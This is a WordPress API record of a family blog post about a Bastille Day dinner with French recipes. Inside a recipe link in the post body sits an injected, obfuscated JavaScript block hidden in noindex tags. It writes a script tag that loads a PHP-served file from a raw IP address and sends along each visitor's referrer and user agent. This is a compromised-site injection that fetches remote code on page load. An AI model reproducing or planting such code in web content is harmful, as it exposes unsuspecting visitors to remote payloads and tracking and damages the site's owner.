{"id":1221,"date":"2010-07-14T11:32:20","date_gmt":"2010-07-14T18:32:20","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1221"},"modified":"2011-10-07T13:06:05","modified_gmt":"2011-10-07T20:06:05","slug":"vive-la-france","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1221","title":{"rendered":"vive la france"},"content":{"rendered":"<p>Bastille Day! Lots of good company and good wine, and some serious food. Liz found us some excellent French recipes, and Paul did the cooking while I played sous-chef. Crepes, of course, with berries, and also with a <a href=\"http:\/\/chaosinthekitchen.com\/2009\/11\/caramelized-pear-and-blue-cheese-salad\/\">roasted <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fesib|var|u0026u|referrer|srsbz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> onion\/carmelized pear\/blue cheese<\/a> business. Leftovers v g on toast. Paul did a beautiful lemon rosemary cake (I actually knew a french kid who used to make it) and a scrumptiously custardy <a href=\"http:\/\/www.bigoven.com\/163702-French-Apple-Cake-recipe.html\">french apple cake<\/a> (which is halfway to pie), and we made a <a href=\"http:\/\/www.davidlebovitz.com\/archives\/2010\/05\/french_tomato_tart_recipe.html\">tomato tart<\/a> that I would be happy to eat every day. We were going to make <a href=\"http:\/\/www.marthastewart.com\/recipe\/croque-monsieur-living\">croque monsieur<\/a> (that would be grilled ham and cheese, when it&#8217;s at home) but never quite got around to it.<\/p>\n<p>Xak was totally the life of the party, toddling after pretty women to get blueberries, and addressing all cats and stuffed animals as &#8220;good doggie.&#8221;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bastille Day! Lots of good company and good wine, and some serious food. Liz found&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[63],"class_list":["post-1221","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-family"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1221"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1221"}],"version-history":[{"count":5,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1221\/revisions"}],"predecessor-version":[{"id":1311,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1221\/revisions\/1311"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1221"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1221"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1221"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}